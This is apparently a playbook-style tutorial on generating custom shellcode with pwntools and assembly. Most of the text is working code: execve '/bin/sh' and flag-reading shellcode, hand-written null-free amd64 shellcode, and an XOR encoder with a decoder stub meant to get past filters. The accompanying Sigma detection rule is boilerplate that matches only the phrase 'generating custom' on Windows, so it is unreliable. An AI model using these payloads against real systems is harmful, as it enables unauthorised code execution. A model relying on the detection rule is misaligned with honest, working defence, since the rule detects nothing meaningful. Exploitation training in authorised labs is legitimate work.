<!-- Copyright (c) 2026 defconxt. All rights reserved. -->
<!-- Licensed under AGPL-3.0 — see LICENSE file for details. -->
<!-- NERF is a trademark of defconxt. -->
---
name: generating-custom-shellcode
description: >-
  Generate custom shellcode for various architectures using pwntools shellcraft, manual assembly, and encoding techniques to bypass filters and constraints.
domain: cybersecurity
subdomain: binary-exploitation
tags:
  - shellcode
  - shellcraft
  - assembly
  - encoder
  - bad-chars
version: "1.0"
author: defconxt
license: AGPL-3.0
metadata:
  mitre-attack: ["T1059.004"]
  cwe: ["CWE-94"]
  tools: ["pwntools", "nasm", "msfvenom", "shellcraft"]
---

# Generating Custom Shellcode

## Overview

Generate custom shellcode for various architectures using pwntools shellcraft, manual assembly, and encoding techniques to bypass filters and constraints.

## Prerequisites

| Tool / Requirement | Details |
|---|---|
| `pwntools` | Security tooling |
| `nasm` | Security tooling |
| `msfvenom (optional)` | Security tooling |
| Target binary with identified vulnerability | Environment requirement |
| Isolated lab environment for testing | Environment requirement |
| Authorization and signed Rules of Engagement (RoE) | Environment requirement |

## Workflow

### Step 1: Generate Shellcode with shellcraft

```python
from pwn import *

# Set target architecture
context.arch = "amd64"

# execve("/bin/sh") shellcode
sc = shellcraft.sh()
print(sc)               # assembly source
payload = asm(sc)        # assembled bytes
print(f"Length: {len(payload)} bytes")

# Shellcode with specific syscall
sc = shellcraft.cat("/flag.txt")
payload = asm(sc)
```

### Step 2: Custom Assembly Shellcode

```python
from pwn import *

context.arch = "amd64"

# Manual execve shellcode avoiding null bytes
shellcode = asm("""
    xor rsi, rsi
    xor rdx, rdx
    push rsi
    mov rdi, 0x68732f6e69622f
    push rdi
    mov rdi, rsp
    mov al, 59
    syscall
""")
print(f"Shellcode ({len(shellcode)} bytes): {shellcode.hex()}")
```

### Step 3: Encode to Bypass Filters

```python
from pwn import *

context.arch = "amd64"

shellcode = asm(shellcraft.sh())

# XOR encoder to avoid bad characters
bad_chars = b"\x00\x0a\x0d"
key = 0x41
encoded = bytes([b ^ key for b in shellcode])

# Check for bad characters
for bc in bad_chars:
    assert bc not in encoded, f"Bad char {hex(bc)} in encoded shellcode"

# Build decoder stub + encoded payload
decoder = asm(f"""
    jmp get_shellcode
decode:
    pop rsi
    xor rcx, rcx
    mov cl, {len(encoded)}
loop:
    xor byte ptr [rsi + rcx - 1], {key}
    loop loop
    jmp rsi
get_shellcode:
    call decode
""") + encoded
```

## Detection

```yaml
title: Generating Custom Shellcode Detection
id: 724843ed-9de7-4fc4-ad50-0075fe0778e0
status: experimental
description: Detects suspicious activity related to generating custom shellcode techniques in binary exploitation context
logsource:
  category: process_creation
  product: windows
detection:
  selection:
    CommandLine: "*generating*custom*"
  condition: selection
level: critical
tags:
  - attack.t1059.004
  - attack.execution
falsepositives:
  - Vulnerability scanner testing known exploit signatures
```


**Detection Opportunities**

| Indicator | Source | Detection Logic |
|---|---|---|
| Generating Custom Shellcode Detection | windows/process_creation | Sigma rule (critical) |
| ATT&CK Coverage | MITRE ATT&CK | T1059.004 |

## Verification

- [ ] Shellcode executes target syscall
- [ ] No bad characters in payload
- [ ] Shellcode fits within size constraints
- [ ] Encoder decoder stub runs correctly

## References

- [pwntools shellcraft](https://docs.pwntools.com/en/stable/shellcraft.html)
- [Linux syscall table](https://blog.rchapman.org/posts/Linux_System_Call_Table_for_x86_64/)
